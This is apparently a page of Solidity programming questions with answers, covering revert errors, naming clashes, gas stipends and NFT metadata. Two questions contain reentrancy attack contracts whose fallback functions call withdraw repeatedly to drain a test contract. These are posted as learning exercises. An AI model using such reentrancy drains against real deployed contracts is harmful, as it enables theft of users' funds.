Solidity code gives VM exception error when called multiple times - solidity

Let's start with my solidity code :
pragma solidity ^0.4.18;
contract Voting {
address mainAddress;
bytes32[] candidateNames;
mapping(bytes32 => uint) candidateVotes;
mapping(bytes32 => bytes32) candidatesDetails;
address[] voters;
function Voting() public {
mainAddress = msg.sender;
}
modifier isMainAddress {
if (msg.sender == mainAddress) {
_;
}
}
function getAllCandidates() public view returns (bytes32[]) {
return candidateNames;
}
function setCandidate(bytes32 newCandidate) isMainAddress public {
candidateNames.push(newCandidate);
}
function setVote(bytes32 candidate) public {
require(validVoters());
candidateVotes[candidate] = candidateVotes[candidate] + 1;
voters.push(msg.sender);
}
function getVote(bytes32 candidate) public view returns (uint) {
return candidateVotes[candidate];
}
function setDescrption(bytes32 candidateName, bytes32 candidatesDesc) isMainAddress public {
candidatesDetails[candidateName] = candidatesDesc;
}
function getDescription(bytes32 candidateName) public view returns (bytes32){
return candidatesDetails[candidateName];
}
function getCurrentAddress() public view returns (address) {
return msg.sender;
}
function validVoters() public view returns (bool) {
for(uint i = 0; i < voters.length ; i++){
if (voters[i] == msg.sender) {
return false;
}
}
return true;
}
}
The functions : Voting(), getAllCandidates(), setCandidate(), getVote(), setDescription(), getDescription(), getCurrentAddress() works fine when called multiple times. So, I guess we can ignore them for now.
The function setVote() runs fine the first time it executes ie. when a person votes for once. The problem arises when the same person tries to vote the second time. It gives the following error :
This might be a beginners mistake but I have been trying to fix this for 2 days straight and now I really need help.
Also,
I use Remix - browser based IDE to run/check my solidity code.
I use Ganache for test accounts.
Thanks.

The function in question:
function setVote(bytes32 candidate) public {
require(validVoters());
candidateVotes[candidate] = candidateVotes[candidate] + 1;
voters.push(msg.sender);
}
Note that validVoters() must return true for this function to succeed. If it returns false, the require will fail and revert the transaction. Also note that at the end of the function, msg.sender is added to the array voters.
Let's take a look at validVoters():
function validVoters() public view returns (bool) {
for(uint i = 0; i < voters.length ; i++){
if (voters[i] == msg.sender) {
return false;
}
}
return true;
}
This function returns false if msg.sender is in voters, which we know will be the case after the account has voted once.
So the second time through, validVoters() returns false, which causes require(validVoters()) in setVote() to revert the transaction.

Related

DeclarationError: Identifier already declared

contract Counter {
uint public Count = 0;
event Increment(uint value);
event Decrement(uint value);
function getCount() view public returns(uint) {
return Count;
}
function Increment() public {
Count += 1;
emit Increment(Count);
}
function Decrement() public {
count -= 1;
emit Decrement(Count);
}
}
please what is already defined or wrong
As said #Yilmaz, your issue refers that events and functions name have the same name.
To solve this issue, you must change name to events or function names.
In the following lines, I put an example how you will solve it:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Counter {
uint public Count = 0;
// NOTE: I changed name to these two events
event EventIncrement(uint value);
event EventDecrement(uint value);
function getCount() view public returns(uint) {
return Count;
}
function Increment() public {
Count += 1;
emit EventIncrement(Count);
}
function Decrement() public {
Count -= 1;
emit EventDecrement(Count);
}
}

Solidity, is there gas-wise difference between transfer and call with 2300?

I am trying the below code, elementary reentrancy example.
The current code works but transfer or send doesn't work. It reverts. What are the reasons?
Note: I chose setCaller to reenter to test the fact that updating the dirty state variable (already modified var in the same tx) takes less gas.
// SPDX-License-Identifier: Unlicensed
pragma solidity 0.8.7;
contract TestFund {
// success, if caller is itself.
address public caller;
constructor() payable {}
function getBalance() public view returns (uint) {
return address(this).balance;
}
function emptyFn(address dummy) public {}
function setCaller(address _caller) public {
caller = _caller;
}
function withdraw() external {
caller = msg.sender;
// require(payable(msg.sender).send(1 wei));
// payable(msg.sender).transfer(1 wei);
(bool success, bytes memory data) = payable(msg.sender).call{gas: 2300, value:1 wei}("");
require(success);
}
}
contract Attack {
function getBalance() public view returns (uint) {
return address(this).balance;
}
function attack(address target) external {
TestFund(target).withdraw();
}
receive() external payable {
if (getBalance() == 1 wei) {
TestFund(msg.sender).setCaller(msg.sender);
}
}
}

How TokenURI function was called in opensea

How OpenSea call the tokenURI function ?
I want to use the keyword (msg.sender) but it didn't work ideally.
Or maybe I have some error in my code ?
mapping(address=>bool) addr_bool;
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
if(addr_bool[msg.sender] == true) {
return URI_1;
// addr_bool[msg.sender] is true;
}
else {
return URI_2;
}
if (bytes(base).length == 0) {
return _tokenURI;
}
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
return
string(abi.encodePacked(base, tokenId.toString(), baseExtension));
}
I expect to see , if data in mapping is true. In OpenSea, it will show URI_1, if not it will show URI_2

Get userID and save it in function - Solidity Beginner

This is my first Solidity project.
I'm trying to create a kind of supply chain, more than anything just practice code.
I came across a problem that I couldn't solve or find the solution online.
Problem: I want to get the user ID and save it in each function so it would look like...
function Customer() public {
checked = Process.Received;
status = Process.NotPaid;
//userid = Process.< THE ID >
}
I tried with this ...
function getStruct() public
view
returns (string, uint)
{
return (User);
}
But keeps on asking me to have the data located in memory. Which I tried but won't work for me.
Full code:
pragma solidity ^0.5.1;
contract SupplyChain {
enum Process {
Unknown,
Checked,
Received,
Paid,
NotPaid
}
Process public status;
Process public checked;
Process public userid;
address user;
struct User {
uint _id;
string _firstName;
string _lastName;
}
constructor() public {
status = Process.Unknown;
user = tx.origin;
}
function addUser(
uint256 id,
string memory _firstName,
string memory _lastName
) public{
}
// NOT FINISHED NEED TO RETURN USER ID TO PRINT IN TRACKERS.
function getStruct() public
view
returns (string, uint)
{
return (User);
}
function Factory() public {
checked = Process.Checked;
status = Process.NotPaid;
// print userid
}
function TransportOne() public {
checked = Process.Checked;
status = Process.NotPaid;
// print userid
}
function Deposit() public {
checked = Process.Checked;
status = Process.NotPaid;
// print userid
}
function TransportTwo() public {
checked = Process.Checked;
status = Process.NotPaid;
// print userid
}
function Customer() public {
checked = Process.Received;
status = Process.NotPaid;
// print userid
}
}
There is no print in solidity, you can try to use events for logging.
If you just want to debug, you can try Remix IDE.

Address.call() function not executed when put on train, but work perfectly in JavaScript VM?

I am pretty new in solidity, and this is so weird.
I got this piece of codes working in the JavaScript VM on Remix to get the reentrance attack working.
However, When I run the contract attacker on train, I called the deposit() function in the contract attacker. No money is transfred. I am wondering why it this.
pragma solidity^0.5.0;
contract TestToken {
mapping (address => uint256) balances;
constructor() public {
total = 0;
}
function deposit() public payable returns (bool success) {
if (balances[msg.sender] + msg.value < msg.value) return false;
if (total + msg.value < msg.value) return false;
balances[msg.sender] += msg.value;
total += msg.value;
return true;
}
}
contract Attacker {
// uint256 count;
TestToken token;
uint256 _value;
event logString(uint256, uint256, uint256);
constructor () public payable {
}
function deposit(address _tokenAddress) public payable {
token = TestToken(_tokenAddress);
_value = address(this).balance;
// token.deposit.value(_value)();
_tokenAddress.call.value(address(this).balance)(abi.encode(bytes4(keccak256("deposit()"))));
}
function attack(address _tokenAddress) public {
token = TestToken(_tokenAddress);
token.withdraw(_value);
}
function() external payable {
emit logString(address(this).balance, msg.value, address(token).balance);
if (address(token).balance > msg.value) token.withdraw(msg.value);
}
function getBalance() public view returns(uint) { return address(this).balance; }
function getTestTokenBalance() public view returns(uint) { return address(token).balance; }
}
I spent three days in this problem. It is not about the problem now, I just wondering what kind of a problem can stuck me so long.
If you can point it out, I would say you are smarter than me.Pls
// This line is not working.
_tokenAddress.call.value(address(this).balance)(abi.encode(bytes4(keccak256("deposit()"))));